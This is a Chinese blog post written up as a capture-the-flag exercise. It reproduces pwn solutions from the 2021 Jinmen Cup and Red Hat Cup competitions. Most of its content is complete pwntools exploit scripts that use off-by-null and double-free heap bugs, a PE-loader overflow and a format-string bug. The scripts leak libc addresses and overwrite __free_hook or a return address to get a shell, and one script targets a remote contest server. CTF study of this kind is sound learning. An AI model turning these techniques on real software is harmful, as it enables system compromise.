津门杯2021CTF&红帽杯2021CTF pwn复现

29 篇文章 0 订阅

前言:这次的比赛时间重合了,刚了一下津门杯的一个pwn题,就没再看红帽杯的题了,tcl,因此这次复现是参考了nu1l的wp和白帽社区的wp,题的质量对于我这种菜鸟蛮高的

一、PwnCtfme 此题通过复现算是一个比较常规的堆题了,因为时间原因没看这道题,一个off-by-null,操作看exp吧,出自于nu1l wp

exp:

#coding:utf-8
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
p=process('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
p.sendlineafter('name:','CFM')
p.sendlineafter('password:','123456')
 
 
def add(name,size,des,score=None):
    p.sendline('1')
    p.sendafter('name:',name)
    p.sendlineafter("size",str(size))
    p.sendafter('des:',des)
    if score is not None:
        p.sendlineafter("score",str(score))
def dele(idx):
    p.sendlineafter('>>','2')
    p.sendlineafter('index:',str(idx))
def show(idx):
    p.sendlineafter('>>','3')
    p.sendlineafter('index:',str(idx))
 
# launch_gdb()
add('aaa',0xf8,'aaa',114514)
for _ in xrange(7):
    add('aaa',0xf8,'aaa',114514)
add('aaa',0xf8,'aaa',114514)
add('aaa',0x20,'aaa',114514)
for i in xrange(6):
    dele(7)
    add('aaa',0xf8,'a'*(0xf8-i),114514)
dele(7)
add('aaa',0xf8,'a'*0xf1 + '\x08',114514)
dele(7)                               //修改了presize位,前向合并
add('aaa',0xf8,'a'*0xf0,114514)
for i in xrange(1,8):
    dele(i)
dele(0)
dele(9)
dele(8)
for i in xrange(8):
    add('aaa',0xf8,'/bin/sh',321312)
show(6) 
p.recvuntil('des:')
leak_libc = u64(p.recv(6) + '\x00\x00') - 4111520
log.info('leak libc ' + hex(leak_libc))
dele(7)
dele(5)
add('aaa',0x118,'a'*0x100+p64(leak_libc+libc.sym['__free_hook']),11313)
add('aaa',0xf8,p64(leak_libc+libc.sym['system']),123121)
'''
0x4f365 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL
 
0x4f3c2 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL
 
0x10a45c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
add('maxbos',0xf8,p64(leak_libc+0x4f3c2),2131)
dele(0)
p.interactive()

**二、pwnme 这道题,不想说啥,一部分考察了逆向分析,一部分是cve,还是刚出来的cve,卷了,卷了,越来越难了。。
在load的函数中的函数里有个**

for ( j = 0; j < v8; ++j )
  {
    dest = (*(a1 + 0x40) + v10[3]);
    memcpy(dest, (*(a1 + 0x30) + v10[5]), v10[4]);  //这里可以结合edit的任意写进行越界写
    sub_CFE(dest, v10[4], j);
    v10 += 10;
  }  

这就是漏洞点,但是在利用这个之前,前面还要构造一下结构体,进行绕过,本来的我逆向分析就很菜,逆了一天,才逆明白,哎tcl,直接给出nu1l的exp吧
exp:

#coding:utf-8
from pwn import *
 
 
p=process('./loader')
libc=ELF('/home/roo/桌面/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6')
 
def load(idx,name,size,data):
    p.sendlineafter('>> ','1')
    p.sendlineafter('index: ',str(idx))
    p.sendlineafter('name: ',name)
    p.sendlineafter('size: ',str(size))
    p.sendlineafter('data: ',data)
def show(idx):
    p.sendlineafter('>> ','2')
    p.sendlineafter('index: ',str(idx))
 
def edit(idx,name,vaddr,size,data):
    p.sendlineafter('>> ','3')
    p.sendlineafter('index: ',str(idx))
    p.sendlineafter('name: ',name)
    p.sendlineafter('vaddr: ',str(vaddr))
    p.sendlineafter('size: ',str(size))
    p.sendlineafter('data: ',data)
def run(idx):
    p.sendlineafter('>> ','4')
    p.sendlineafter('index: ',str(idx))
def delete(idx):
    p.sendlineafter('>> ','5')
    p.sendlineafter('index: ',str(idx))
def gen_section_header(v_addr,size_of_raw_data,p_to_raw_data):
    s=b'a'*0xc+p32(v_addr)+p32(size_of_raw_data)+p32(p_to_raw_data)
    s=s.ljust(0x28,b'\x00')
    return s
def exploit():
    dos_header=b'MZ'.ljust(0x3c,b'\x00')+p32(0x40)
    secnumber=1
    fileheader=p16(0x14c)+p16(secnumber)
    fileheader=fileheader.ljust(0x14,b'\x00')
    pe_header=b'PE\x00\x00'+fileheader
    pe_header=pe_header.ljust(0xf8,b'\x00')
    payload=dos_header+pe_header
    payload+=gen_section_header(0,0,0)
    load(0,b'maxbos',len(payload),payload)
    load(1,b'maxbos',len(payload),payload)
    delete(1)
    pe_header=b'PE\x00\x00'+fileheader
    pe_header=pe_header.ljust(0xf8,b'\x00')
    payload=dos_header+pe_header
    payload+=gen_section_header(0x168,0,0)
    payload=payload.ljust(0x1f8,b'\x00')
    load(1,b'maxbos',len(payload+b'a'*0x10),payload+b'a'*0x10)
    delete(0)
    dos_header = b'MZ'.ljust(0x3c, b'\x00') + p32(0x40)
    secNumber = 2
    fileHeader = p16(0x14c) + p16(secNumber)
    fileHeader = fileHeader.ljust(0x14, b'\x00')
    pe_header = b'PE\x00\x00' + fileHeader
    pe_header = pe_header.ljust(0xf8, b'\x00')
    payload = dos_header + pe_header
    payload += gen_section_header(0, 0x188, 0)
    data = b'z'*0x1f0
    data = encrypt_data(data, 1)
    payload += gen_section_header(0, len(data), len(dos_header + pe_header) + 0x28*2)
    payload += data
    payload = payload.ljust(0x6f0, b'\x00')
    print (len(payload))
    load(0, b'plusls', len(payload), payload)
    run(1)
    p.recvuntil(b'z'*0x60)
    libc_base=u64(p.recvuntil(' is running',drop=True).ljust(8,b'\x00'))-0x3c4cd8
    print (hex(libc_base))
    load(2,b'ddd',0x18,b'a'*0x18)
    dos_header=b'MZ'.ljust(0x3c,b'\x00')+p32(0x40)
    secnumber=1
    fileheader=p16(0x14c)+p16(secnumber)
    fileheader=fileheader.ljust(0x14,b'\x00')
    pe_header=b'PE\x00\x00'+fileheader
    pe_header=pe_header.ljust(0xf8,b'\x00')
    payload=dos_header+pe_header
    payload+=gen_section_header(0,0,0)
    load(2,b'ff',len(payload),payload)
    load(3,b'fff',len(payload),payload)
    delete(3)
    pe_header=b'PE\x00\x00'+fileheader
    pe_header=pe_header.ljust(0xf8,b'\x00')
    payload=dos_header+pe_header
    payload+=gen_section_header(0x168,0,0)
    payload=payload.ljust(0x1f8,b'\x00')
    load(3,b'dd',len(payload+b'a'*0x10),payload+b'a'*0x10)
    delete(2)
    dos_header=b'MZ'.ljust(0x3c,b'\x00')+p32(0x40)
    secnumber=2
    fileheader=p16(0x14c)+p16(secnumber)
    fileheader=fileheader.ljust(0x14,b'\x00')
    pe_header=b'PE\x00\x00'+fileheader
    pe_header=pe_header.ljust(0xf8,b'\x00')
    payload=dos_header+pe_header
    payload+=gen_section_header(0,0x188,0)
    data=b'F'*0x190+b'q'*0x30+p64(libc_base+libc.sym['__free_hook']+0x8)+p64(0)+p64(libc_base+libc.sym['__free_hook'])+p64(0x1000)
    data=encrypt_data(data,1)
    payload+=gen_section_header(0,len(data),len(dos_header+pe_header)+0x28*2)
    payload+=data
    payload=payload.ljust(0x6f0,b'\x00')
    load(2,b'maosattack1',len(payload),payload)
    edit(3,b'maosattack2',0,0x10,p64(libc_base+libc.sym['system'])+b'/bin/sh\x00')
    gdb.attach(p)
    delete(3)
def encrypt_data(data,ch):
    ret=b''
    for i in range(len(data)):
        ret += p8(((data[i] - i) % 256) ^ ch ^ 0x39)
 
    return ret 
 
exploit()
 
p.interactive()

津门杯的题就复现到这吧,像n01是真的不会,连咋运行都不知道咋运行,等有时间再去询问一下大佬

**红帽杯就复现一道,parser
一、parser 这个道题是个格式化漏洞,在进行构建的时候,需要逆向分析一下进行构造参数,进行利用,这里泄露了堆基地址和stack返回地址,再进行预先泄露readgot表,然后进行fmt_payload的打返回地址为onegadget,两字节写入,short,即可,这里也参考一下白帽子的wp**
exp:

from pwn import *
 
 
context.log_level = True
context.arch = "amd64"
 
 
p = process("./chall")
 
 
gadget_addr = [0x4f365, 0x4f3c2, 0x10a45c]
 
 
p.recvuntil("> ")
payload = b"GET /test HTTP/1.0\nContent-Length:-1\n\n%15$p*%8$p*"
p.sendline(payload)
base_addr = int(p.recvuntil("*")[:-1], 16) - 0x14a8
stack_addr = int(p.recvuntil("*")[:-1], 16) + (0x7fffffffddd8 - 0x7fffffffd830)
log.info("base_addr: " + hex(base_addr))
log.info("stack_addr: " + hex(stack_addr))
print hex(base_addr+0x201F90)
p.recvuntil("> ")
payload = b"GET /test HTTP/1.0\nContent-Length:-1\n\n%22$saaaaa" + p64(base_addr + 0x201F90)
p.sendline(payload)
libc_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x110180
log.info("libc_base: " + hex(libc_base))
gadget_addr = libc_base + 0x10a45c
log.info("gadget_addr: " + hex(gadget_addr))
 
gdb.attach(p)
 
p.recvuntil("> ")
payload = b"GET /test HTTP/1.0\nContent-Length:-1\n\n11" + fmtstr_payload(0x59, {stack_addr: gadget_addr}, 2, "short")
p.sendline(payload)
raw_input()
 
p.recvuntil("> ")
payload =b"getshell"
 
p.sendline(payload)
 
p.interactive()

二、manager一个用于二叉树的操作 多调试几遍就能看出来,参考于星盟的wp,自己懒得写了,红帽杯当时没参加

#coding:utf8
from pwn import *
#sh = process('./chall',env = {'LD_PRELOAD':'./libc-2.27.so'})
sh = remote('47.105.94.48',12243)
libc = ELF('./libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
#sh = process('./chall')
def add(key,size,content):
   sh.sendlineafter('>','1')
   sh.sendlineafter('key>',str(key))
   sh.sendlineafter('len>',str(size))
   sh.sendafter('content>',content)
def delete(key):
   sh.sendlineafter('>','2')
   sh.sendlineafter('key>',str(key))
def show():
   sh.sendlineafter('>','3')
add(10,0x500,'a'*0x40) #0
add(5,0x40,'b'*0x40) #1
add(4,0x40,'c'*0x40) #2
add(7,0x40,'d'*0x40) #3
add(6,0x40,'e'*0x40) #4
#delete(2)
#delete(5)
delete(10)
add(10,0x500,'a')
show()
sh.recvuntil('key:10 content:')
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + libc.sym['system']
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'system_addr=',hex(system_addr)
#double free
delete(5)
add(5,0x40,p64(free_hook_addr))
add(8,0x40,'/bin/sh\x00')
add(9,0x40,p64(system_addr))
#getshell
delete(8)
sh.interactive()

红帽杯由于附件不全原因先复现到这个题吧

总结:这次的津门杯题的质量虽然算难,但是能帮助我这种菜鸡能学到不少东西,红帽杯的话,当时没参加,两道题难度还算容易,就是一道vm题,我看大佬的vm复现,也没看懂,考察的是什么,真心不懂,。。,嘿嘿!!!。。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值